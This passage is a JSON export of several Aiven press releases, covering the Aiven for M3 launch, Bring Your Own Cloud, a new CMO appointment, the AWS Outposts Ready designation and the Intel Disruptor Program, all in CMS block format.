"},{"_key":"38270bc85c3e1","_type":"span","marks":["32c5aada8f42"],"text":"initiative"},{"_key":"38270bc85c3e2","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"32c5aada8f42","_type":"link","href":"https://aiven.io/sustainability"}],"style":"normal"},{"_key":"f48e8f604edf","_type":"block","children":[{"_key":"c3f7c8fdfcec0","_type":"span","marks":[],"text":"Become part of the Aiven "},{"_key":"c3f7c8fdfcec1","_type":"span","marks":["6cd4db670cc7"],"text":"community"},{"_key":"c3f7c8fdfcec2","_type":"span","marks":[],"text":" and share knowledge on the open source tech, data infrastructure management, or data architecture."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"6cd4db670cc7","_type":"link","href":"https://aiven.io/community"}],"style":"normal"},{"_key":"7f3d698b5429","_type":"block","children":[{"_key":"19d1f27cdf610","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"537e6bc9a1d8","_type":"block","children":[{"_key":"d6e904878bf80","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"78a76b754145","_type":"block","children":[{"_key":"d6a0313c105e0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"3411aec4fcaf","_type":"block","children":[{"_key":"98d27ed0417b0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"22d1d2bd81c4","_type":"block","children":[{"_key":"d6daf84bd12f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"24057ed70554","_type":"block","children":[{"_key":"62cb0e5f89960","_type":"span","marks":[],"text":"To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"63b7e179f0b9","_type":"block","children":[{"_key":"7e26a2ef68980","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"468126e69d16","_type":"block","children":[{"_key":"32b84aeceddd0","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"84919c29e65a","_type":"block","children":[{"_key":"61eef46ead5e0","_type":"span","marks":["b4beab76246d"],"text":"press@aiven.io"}],"markDefs":[{"_key":"b4beab76246d","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"0c7083daabef","_type":"block","children":[{"_key":"ddadb2e668bc0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"998e977bbfd5","_type":"block","children":[{"_key":"109759d605260","_type":"span","marks":["em"],"text":"Apache® and Apache Kafka® Kafka are either registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. No endorsement by the Apache Software Foundation is implied by the use of these marks. All other trademarks are the property of their respective owners"},{"_key":"109759d605261","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"},{"_key":"d163c017abc1","_type":"block","children":[{"_key":"2bc5bd70ffef0","_type":"span","marks":["em"],"text":"Postgres, PostgreSQL and the Slonik Logo are trademarks or registered trademarks of the PostgreSQL Community Association of Canada, and used with their permission."}],"markDefs":[],"style":"normal"},{"_key":"f727da7097a9","_type":"block","children":[{"_key":"59f1dbd64df40","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-04-18T12:00:06.407Z","slug":{"_type":"slug","current":"/press/aiven-joins-intel-disruptor-program-drive-open-source-innovation"},"subtitle":"Intel and Aiven team up to advance open source adoption and increase technology collaboration as part of partnership program\n","title":"Aiven joins Intel Disruptor Program to drive innovation in open source landscape"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"5P0Kpewwq54ZTwlBTPNAX9","_rev":"7zkUzK17nyKradHQJFpRml","_type":"pressRelease","_updatedAt":"2023-05-15T13:16:40Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io/), a leading technology company that combines the best open-source technologies with cloud infrastructure, announced its 11th managed service, Aiven for M3. With a unique and purpose-built architecture, M3 enables large-scale time series workloads. Likewise, it will be the first of its kind as a managed service: an open-source, highly-available, horizontally-scalable time series database that opens new possibilities for all organizations, regardless of their size.\n\n“Launching Aiven for M3 reflects our promise to provide Aiven customers the latest, most advanced technologies that’ll enable them to not only strengthen their respective business processes and use cases, but to evolve them,” said Hannu Valtonen, co-founder and chief product officer at Aiven. “What’s more, Aiven for M3 could be to time series data what Aiven for Apache Kafka was to data streaming, that providing accessible tech will increase the speed at which we push the underlying use case forward.”\n\nData volumes continue to balloon as forward-looking concepts and technologies like IoT and containerization are created and developed, revealing a growing market appetite for a time series database to manage the data scale and complexity rooted in monitoring and analytics workloads.\n\nBuilt to handle Uber’s massive scale, M3’s battle-tested capabilities were what initially piqued Aiven’s interest in the technology because its own growth required a stronger monitoring backbone for the customer nodes under its management, which have grown exponentially — fivefold in the last year alone.\n\n\"The exponential growth of our business and the underlying operations metrics and monitoring infrastructure that is critical to our fully-automated, self-healing functionality requires a robust solution, said Aiven VP of Tech Ops Mika Eloranta. “We selected M3 because it’s truly Open Source, properly implements clustering, and is highly adaptable to various high-throughput, real-world use cases.”\n\nThis virtuous circle, whereby Aiven can improve its service offering with the very tech that it provides as managed services means that its customers have unmatched access to a cohesive mix of advanced open-source tech that can be used to develop comprehensive solutions to evolving data challenges.\n\nAiven for M3 exemplifies this with out-of-box support for Prometheus, InfluxDB and Graphite protocols, integrations with popular visualization and metrics platforms such as Grafana, Prometheus and Jolokia, and advanced features such as multi-az placement, Terraform support and VPC peering.\n\nCurrently in Beta, Aiven for M3 will be generally available in mid-November.\n\nTo learn more about Aiven for M3, visit: [Aiven for M3](https://aiven.io/m3).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io/) for more information or follow Aiven on Twitter: [@aiven_io.](https://twitter.com/aiven_io)","content":[{"_key":"MEg3mX4E","_type":"block","children":[{"_key":"0e0fbca90c1f","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 12, 2020- "},{"_key":"GqggQhbP","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"N4XQrYgz","_type":"span","marks":[],"text":", a leading technology company that combines the best open-source technologies with cloud infrastructure, announced its 11th managed service, Aiven for M3. With a unique and purpose-built architecture, M3 enables large-scale time series workloads. Likewise, it will be the first of its kind as a managed service: an open-source, highly-available, horizontally-scalable time series database that opens new possibilities for all organizations, regardless of their size."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"rMQZ48tf","_type":"block","children":[{"_key":"KloLHylL","_type":"span","marks":[],"text":"“Launching Aiven for M3 reflects our promise to provide Aiven customers the latest, most advanced technologies that’ll enable them to not only strengthen their respective business processes and use cases, but to evolve them,” said Hannu Valtonen, co-founder and chief product officer at Aiven. “What’s more, Aiven for M3 could be to time series data what Aiven for Apache Kafka was to data streaming, that providing accessible tech will increase the speed at which we push the underlying use case forward.”"}],"markDefs":[],"style":"normal"},{"_key":"H1iHYVNn","_type":"block","children":[{"_key":"vhxgz4Bo","_type":"span","marks":[],"text":"Data volumes continue to balloon as forward-looking concepts and technologies like IoT and containerization are created and developed, revealing a growing market appetite for a time series database to manage the data scale and complexity rooted in monitoring and analytics workloads."}],"markDefs":[],"style":"normal"},{"_key":"WXdgfnGr","_type":"block","children":[{"_key":"M2MvxgVx","_type":"span","marks":[],"text":"Built to handle Uber’s massive scale, M3’s battle-tested capabilities were what initially piqued Aiven’s interest in the technology because its own growth required a stronger monitoring backbone for the customer nodes under its management, which have grown exponentially — fivefold in the last year alone."}],"markDefs":[],"style":"normal"},{"_key":"2uWuAfYr","_type":"block","children":[{"_key":"Nt8hJ6t3","_type":"span","marks":[],"text":"\"The exponential growth of our business and the underlying operations metrics and monitoring infrastructure that is critical to our fully-automated, self-healing functionality requires a robust solution, said Aiven VP of Tech Ops Mika Eloranta. “We selected M3 because it’s truly Open Source, properly implements clustering, and is highly adaptable to various high-throughput, real-world use cases.”"}],"markDefs":[],"style":"normal"},{"_key":"yfyJQfao","_type":"block","children":[{"_key":"l6W6zdiz","_type":"span","marks":[],"text":"This virtuous circle, whereby Aiven can improve its service offering with the very tech that it provides as managed services means that its customers have unmatched access to a cohesive mix of advanced open-source tech that can be used to develop comprehensive solutions to evolving data challenges."}],"markDefs":[],"style":"normal"},{"_key":"rgIvdGoQ","_type":"block","children":[{"_key":"D2O0EHXM","_type":"span","marks":[],"text":"Aiven for M3 exemplifies this with out-of-box support for Prometheus, InfluxDB and Graphite protocols, integrations with popular visualization and metrics platforms such as Grafana, Prometheus and Jolokia, and advanced features such as multi-az placement, Terraform support and VPC peering."}],"markDefs":[],"style":"normal"},{"_key":"XRKmECI1","_type":"block","children":[{"_key":"N1YGKs45","_type":"span","marks":[],"text":"Currently in Beta, Aiven for M3 will be generally available in mid-November."}],"markDefs":[],"style":"normal"},{"_key":"R3C6agNZ","_type":"block","children":[{"_key":"6FP71jMZ","_type":"span","marks":[],"text":"To learn more about Aiven for M3, visit: "},{"_key":"1eNZCjvl","_type":"span","marks":["m11964345178934"],"text":"Aiven for M3"},{"_key":"yI2iDaW0","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11964345178934","_type":"link","href":"https://aiven.io/m3"}],"style":"normal"},{"_key":"vvoxh1vb","_type":"block","children":[{"_key":"d9Ag6mqo","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"Qy2kGf9T","_type":"block","children":[{"_key":"ci7KBs2w","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"kz8Cpn6N","_type":"block","children":[{"_key":"a9c06VSW","_type":"span","marks":[],"text":"You can visit "},{"_key":"PQPx8AII","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"Q9Jkx4r6","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"8deVNtMQ","_type":"span","marks":["m17467540486251"],"text":"@aiven_io."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-10-12T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven for M3 meets market demands for a time series database as data volume and complexity increase.","metaTitle":"Aiven introduces first-ever Aiven for M3, focusing on time."},"slug":{"_type":"slug","current":"/press/aiven-bets-on-time-series-with-release-of-first-of-kind-aiven-for-m3"},"subtitle":"Aiven for M3 meets market demands for a time series database as data volume and complexity increase.","title":"Aiven bets on time series with release of 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{"__i18n_lang":"en","_createdAt":"2023-05-29T22:34:50Z","_id":"b93ab908-1136-4b9f-bb6a-f272689ea45d","_rev":"Bg5HPBiLdZofLBzDEz9vFe","_type":"pressRelease","_updatedAt":"2023-06-01T08:00:38Z","content":[{"_key":"bb8102caa755","_type":"block","children":[{"_key":"600e7ff12dab0","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — May 31, 2023"},{"_key":"600e7ff12dab1","_type":"span","marks":[],"text":" — "},{"_key":"600e7ff12dab2","_type":"span","marks":["1885eba6293a"],"text":"Aiven"},{"_key":"600e7ff12dab3","_type":"span","marks":[],"text":", the open source cloud data platform, today unveiled Bring Your Own Cloud (BYOC), a way for companies to get the most out of their public cloud investments without losing control of their data. BYOC lets customers deploy Aiven’s managed data services directly to their AWS, Google Cloud, or Microsoft Azure accounts, giving them the flexibility to use the cloud platform of their choice for compute, storage, and networking - and allowing them to consolidate their cloud spend with that provider to amplify their cost saving opportunities."}],"markDefs":[{"_key":"1885eba6293a","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"602cc3effae9","_type":"block","children":[{"_key":"aeedd35d387e0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"0f45d96a91f1","_type":"block","children":[{"_key":"2d60c3991fc00","_type":"span","marks":[],"text":"According to advisory firm "},{"_key":"2d60c3991fc01","_type":"span","marks":["bc31a5891d81"],"text":"Forrester"},{"_key":"2d60c3991fc02","_type":"span","marks":[],"text":", the public cloud market will almost triple by 2026, growing to $1.3 trillion from $446.4 billion in 2022. Though companies are spending more on cloud than ever, managing cloud spending continues to be a top challenge. To address this issue, many companies turn to the discount programs offered by the major public cloud providers, which can significantly reduce the cost of cloud infrastructure. But these programs come with a price: a multi-year commitment that imposes restrictions and limits flexibility. With BYOC, Aiven gives companies another choice: a way to take advantage of the substantial discounts on infrastructure offered by the public cloud vendors while running services from Aiven’s trusted open source data platform, including PostgreSQL, Kafka and OpenSearch."}],"markDefs":[{"_key":"bc31a5891d81","_type":"link","href":"https://www.forrester.com/report/the-public-cloud-market-outlook-2022-to-2026/RES178311?utm_source=pr_pitch\u0026utm_medium=pr\u0026utm_campaign=tech\u0026utm_content=us12_02"}],"style":"normal"},{"_key":"c38e64c3e17c","_type":"block","children":[{"_key":"c113e64ab0960","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"58b4afdb3d40","_type":"block","children":[{"_key":"497cec9c09330","_type":"span","marks":[],"text":"\"In the days of increased regulations and privacy, customer data security is paramount. Companies should have control over where and how their data is housed and processed,\" said Jonah Kowall, Vice President of Product Management at Aiven. \"With Aiven’s Bring Your Own Cloud, companies have the freedom, flexibility, and choice to fully control their data security and processes. Aiven makes it easy for customers to provision and manage services across their organizations, and includes around-the-clock monitoring and peace of mind of a 99.99% uptime SLA.\""}],"markDefs":[],"style":"normal"},{"_key":"af2220d9bb60","_type":"block","children":[{"_key":"99ac3ed0e6070","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"b215fa820a99","_type":"block","children":[{"_key":"baa0e7f50a100","_type":"span","marks":[],"text":"\"Aiven allows us to keep control of our data while enjoying the benefits of a managed service,\" said Diogo Gomes, Cloud Transformation \u0026 Database Manager at French retailer La Redoute."}],"markDefs":[],"style":"normal"},{"_key":"84d91f99ab01","_type":"block","children":[{"_key":"df4243c6c07e0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"59a9ef111c63","_type":"block","children":[{"_key":"3919951364590","_type":"span","marks":[],"text":"\"One of the reasons why we moved to Aiven, instead of other solutions, is that Aiven allows us to run the services in our own cloud, on our own infrastructure,\" said Dups Wijayawardhana, CTO, Supermetrics, a data management and analysis tool company for marketers."}],"markDefs":[],"style":"normal"},{"_key":"121e0b648404","_type":"block","children":[{"_key":"a13d2764dfe30","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"0e1324eb2caa","_type":"block","children":[{"_key":"3577d3dddb480","_type":"span","marks":[],"text":"Aiven’s BYOC is the ideal solution for companies that use many cloud services or operate in regulated industries like healthcare or financial services with strict requirements for where data lives. It connects a customer’s AWS, Google Cloud, or Microsoft Azure account to the Aiven platform in a secure way using industry standard VPCs and role-based access controls. This makes it possible to deploy Aiven services directly in their cloud infrastructure, giving them control of their data while also cutting cloud costs and meeting cloud commitments. Early Aiven BYOC customers have reduced their overall cloud spend by an average of 30%."}],"markDefs":[],"style":"normal"},{"_key":"b294564b7a58","_type":"block","children":[{"_key":"4ee07697fb040","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"a4e9903cd0e5","_type":"block","children":[{"_key":"af99c529ecb60","_type":"span","marks":["strong"],"text":"Availability"}],"markDefs":[],"style":"normal"},{"_key":"0bd9a8ab0f56","_type":"block","children":[{"_key":"c33ddd9fae550","_type":"span","marks":[],"text":"Aiven BYOC is ideal for customers with favorable purchasing agreements for cloud infrastructure or specific requirements for security and control. It can be deployed on AWS, Google Cloud, and Microsoft Azure, and is available now to new and existing Aiven customers with an enterprise support contract and a minimum monthly spend."}],"markDefs":[],"style":"normal"},{"_key":"e0d05b607ca7","_type":"block","children":[{"_key":"4ae437781d520","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"a5eb3262fc7d","_type":"block","children":[{"_key":"9c657aa33c040","_type":"span","marks":["strong"],"text":"Additional Resources"}],"markDefs":[],"style":"normal"},{"_key":"7710c6674b3b","_type":"block","children":[{"_key":"acdf22c831520","_type":"span","marks":["5e2de714378d"],"text":"Read our blog post"},{"_key":"acdf22c831521","_type":"span","marks":[],"text":" for more detail on Aiven BYOC"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5e2de714378d","_type":"link","href":"https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc"}],"style":"normal"},{"_key":"31c33ec3c76c","_type":"block","children":[{"_key":"394b9ad81f830","_type":"span","marks":[],"text":"For more information on bringing Aiven to your own cloud, please visit "},{"_key":"394b9ad81f831","_type":"span","marks":["8048df805e63"],"text":"our website"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8048df805e63","_type":"link","href":"https://aiven.io/platform"}],"style":"normal"},{"_key":"d336e988897f","_type":"block","children":[{"_key":"d1f50f9763dd0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"62cd02186103","_type":"block","children":[{"_key":"d1be4a8b46160","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"9c5d726ba5cd","_type":"block","children":[{"_key":"b50a74d9566e0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. 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{"__i18n_lang":"en","_createdAt":"2023-06-06T11:22:54Z","_id":"c4bbe185-5a31-4866-a686-a2488657fa04","_rev":"dsxJlHxlnt5nZt5n1sYrQi","_type":"pressRelease","_updatedAt":"2023-06-06T23:35:21Z","content":[{"_key":"92d0207db0f8","_type":"block","children":[{"_key":"6201033aac730","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 6, 2023 "},{"_key":"6201033aac731","_type":"span","marks":[],"text":"- "},{"_key":"6201033aac732","_type":"span","marks":["632dad9e69aa"],"text":"Aiven"},{"_key":"6201033aac733","_type":"span","marks":[],"text":", the open source cloud data platform company, today announced the appointment of Ian Massingham as Chief Marketing Officer (CMO), effective June 1, 2023. Ian will assume the crucial responsibility of crafting and implementing the overall marketing strategy in line with its go-to-market strategy, with a primary focus on engaging customers, partners, and the community to generate demand for the company's platform and solutions."}],"markDefs":[{"_key":"632dad9e69aa","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"0a22cebfcbc3","_type":"block","children":[{"_key":"442ea55845c70","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"889ec8bcd375","_type":"block","children":[{"_key":"d34cd4a1700d0","_type":"span","marks":[],"text":"This strategic move comes as the cloud infrastructure industry continues to experience rapid growth, and Ian will be instrumental in driving scalable expansion throughout Aiven's $182 billion total addressable market. He will also be responsible for enriching Aiven’s customer journey and ensuring an exceptional customer experience."}],"markDefs":[],"style":"normal"},{"_key":"89f21c4c37d4","_type":"block","children":[{"_key":"4cd1c6bce6570","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"697aa9be4d73","_type":"block","children":[{"_key":"224a15faa4310","_type":"span","marks":[],"text":"“I’m thrilled to welcome the appointment of Ian as our first-ever Chief Marketing Officer to accelerate Aiven’s growth and success in the cloud data platform market,” said Oskari Saarenmaa, CEO and Co-founder at Aiven. “Ian brings a depth of experience from his tenure at high-growth companies such as Amazon Web Services and MongoDB. His industry knowledge and expertise will be instrumental in bringing us closer to realizing our vision of being the trusted open source data platform for everyone, and bringing this to life for our customers.”"}],"markDefs":[],"style":"normal"},{"_key":"9b17c25edad6","_type":"block","children":[{"_key":"31b22c9865110","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"923d7495118e","_type":"block","children":[{"_key":"423c3d63c5570","_type":"span","marks":[],"text":"“Placing customers at the center of everything we do, is a key component of Aiven’s strategy and is something that I am deeply passionate about,” said Ian Massingham, Chief Marketing Officer at Aiven. “Aiven’s open source data platform helps our customers solve problems by simplifying their data infrastructure, and in doing so realize business benefits such as driving revenue and profitability. I’m incredibly proud to partner with our leadership team to deliver on our brand promise and provide more value to our customers, partners, and the Open Source data infrastructure community.”"}],"markDefs":[],"style":"normal"},{"_key":"cc994119d18f","_type":"block","children":[{"_key":"19a7644e5ad20","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"ce0bd04d333d","_type":"block","children":[{"_key":"f93a137524b30","_type":"span","marks":[],"text":"Ian initially joined Aiven in late 2022 as the Vice President of Developer Relations and Community and successfully spearheaded the "},{"_key":"f93a137524b31","_type":"span","marks":["fad7264118fb"],"text":"launch"},{"_key":"f93a137524b32","_type":"span","marks":[],"text":" of Aiven’s free plans and community forum in April, demonstrating his ability to drive initiatives that resonate with Aiven’s target audience."}],"markDefs":[{"_key":"fad7264118fb","_type":"link","href":"https://aiven.io/press/aiven-launches-free-plans-for-postgresql-mysql-and-redis"}],"style":"normal"},{"_key":"3c9ecb4b9d1f","_type":"block","children":[{"_key":"8239ff26b8860","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"206d0b5578cb","_type":"block","children":[{"_key":"62ad6cdf5c690","_type":"span","marks":[],"text":"This latest C-suite leadership expansion follows the "},{"_key":"62ad6cdf5c691","_type":"span","marks":["5eb6dde7b22f"],"text":"appointment"},{"_key":"62ad6cdf5c692","_type":"span","marks":[],"text":" of David Wyatt as its Chief Revenue Officer earlier in March to support the demand for the company’s open source cloud data platform."}],"markDefs":[{"_key":"5eb6dde7b22f","_type":"link","href":"https://aiven.io/press/aiven-strengthens-leadership-team-with-a-chief-revenue-officer"}],"style":"normal"},{"_key":"cd763a247c4b","_type":"block","children":[{"_key":"a2c4650e71350","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"53136ea6a45a","_type":"block","children":[{"_key":"03f41944173a0","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"03f41944173a1","_type":"span","marks":["c501e60820c9"],"text":"https://aiven.io/"}],"markDefs":[{"_key":"c501e60820c9","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"2750583a62a8","_type":"block","children":[{"_key":"ca9414191ce10","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"c391bd181ee0","_type":"block","children":[{"_key":"8109d3b9ba470","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"ca62c6af1fdd","_type":"block","children":[{"_key":"f3c609f59e0e0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"b4b543ae1144","_type":"block","children":[{"_key":"07428d5f9b9e0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"bceffc048fa9","_type":"block","children":[{"_key":"606587d0d7e90","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. 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{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"5Yk6W9f7epV6bAQLMGKczS","_rev":"PafZ7If3abxFAfZNOj4A4Z","_type":"pressRelease","_updatedAt":"2023-05-31T09:00:02Z","content":[{"_key":"Lf0gSUuz","_type":"block","children":[{"_key":"2d819ded7e92","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 23, 2021-"},{"_key":"5Dia7hcK","_type":"span","marks":[],"text":" "},{"_key":"RZEomgJg","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"Pbvm9NcQ","_type":"span","marks":[],"text":", a software company that combines leading open source technologies with cloud infrastructure, has been selected to the Amazon Web Services (AWS) Outposts Ready Program. With Outposts, AWS and Aiven customers can deploy Aiven open source data services for Kafka, Elasticsearch, Postgres, MySQL, Cassandra, Redis, and M3 on-premises, as well as in hybrid architectures, with a consistent operating model."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"YxDUroWU","_type":"block","children":[{"_key":"4ePOeZGy","_type":"span","marks":["m16581271341869"],"text":"AWS Outposts"},{"_key":"CLGsKTj8","_type":"span","marks":[],"text":" extends the AWS cloud to on-premise environments. It is a fully managed service that offers the same AWS infrastructure, AWS services, APIs and tools to virtually any datacenter, co-location space or on-premise facility for a truly consistent hybrid experience. Through Aiven’s AWS Outposts Ready designation, enterprises have more access and capabilities around on-premise systems for low-latency, local data processing, data residency and migration of applications with local system interdependencies."}],"markDefs":[{"_key":"m16581271341869","_type":"link","href":"https://aws.amazon.com/outposts/"}],"style":"normal"},{"_key":"Hgas753S","_type":"block","children":[{"_key":"UCPDncll","_type":"span","marks":[],"text":"By default, Aiven services are deployed to the public cloud infrastructure chosen by the customer under Aiven's cloud account. Aiven also offers its customers a Bring Your Own Cloud (BYOC) option, which is a setup feature that allows customers to use their existing Cloud Provider account, offering more control. AWS Outposts is an extension of this offering, enabling customers to bring their services and data to their physical data centers for a consistent, fully-managed hybrid experience."}],"markDefs":[],"style":"normal"},{"_key":"0QDLemvY","_type":"block","children":[{"_key":"T2iyPokT","_type":"span","marks":[],"text":"“Through our new designation, we can better support enterprises in their move from on-premises to cloud. Aiven’s enterprise customers can migrate workloads between on-premises and AWS Outposts without service interruptions at any point”, said Oskari Saarenmaa, CEO at Aiven. “This support, in combination with our open source technology offerings like Apache Kafka, Postgres, MySQL and M3, our customers are more equipped than ever for impactful digital transformations.”"}],"markDefs":[],"style":"normal"},{"_key":"t0KXjy5n","_type":"block","children":[{"_key":"x2b5e2Ld","_type":"span","marks":[],"text":"Aiven is one of "},{"_key":"AMQmKYAA","_type":"span","marks":["m2221502957267"],"text":"58 Technology Product companies"},{"_key":"eYv5s7b5","_type":"span","marks":[],"text":" that hold the AWS Outposts Ready designation, and is an Advanced AWS ISV Technology Partner."}],"markDefs":[{"_key":"m2221502957267","_type":"link","href":"https://aws.amazon.com/outposts/partners/?partner-solutions-cards.sort-by=item.additionalFields.partnerNameLower\u0026partner-solutions-cards.sort-order=asc\u0026awsf.partner-solutions-filter-partner-type=*all\u0026awsf.partner-solutions-filter-location=*all"}],"style":"normal"},{"_key":"VEShlEV6","_type":"block","children":[{"_key":"kV9nowHm","_type":"span","marks":[],"text":"For more information about Aiven’s solutions, please visit "},{"_key":"0Zr9sQLX","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"T2p8Zw6N","_type":"span","marks":[],"text":". To discuss Aiven service deployments to your AWS Outposts installations, please "},{"_key":"25EfB3ZU","_type":"span","marks":["m666276980520"],"text":"contact sales"},{"_key":"r8sbbpRP","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m666276980520","_type":"link","href":"https://aiven.io/contact"}],"style":"normal"},{"_key":"zjqooj5v","_type":"block","children":[{"_key":"ORIBMeVe","_type":"span","marks":[],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"DhfqNo3j","_type":"block","children":[{"_key":"QTEG8tvu","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Toronto, Sydney and Singapore, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $2B unicorn valuation and has now raised $210M total funding thanks to its investors Atomico, Earlybird, First Fellow, IVP, Lifeline Ventures, Salesforce Ventures and World Innovation Lab. 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{"__i18n_lang":"en","_createdAt":"2022-12-06T22:11:39Z","_id":"c80b7dec-2823-419c-a2e2-990d1fa8f190","_rev":"THDGXgbtbTWNUZ8wxZisJz","_type":"pressRelease","_updatedAt":"2023-05-15T13:15:44Z","content":[{"_key":"e2da63945a55","_type":"block","children":[{"_key":"128c6fe0ec7e0","_type":"span","marks":[],"text":"HELSINKI, Finland — (December 7, 2022) — "},{"_key":"128c6fe0ec7e1","_type":"span","marks":["381752d205a7"],"text":"Aiven"},{"_key":"128c6fe0ec7e2","_type":"span","marks":[],"text":", the open source cloud data platform, today announced a complete open source streaming ecosystem for Apache Kafka®, delivering a robust– and fully open source real-time data ecosystem with the latest additions of its beta service of Aiven for Apache Flink®, a stream processing framework, and Klaw, a data governance tool for Apache 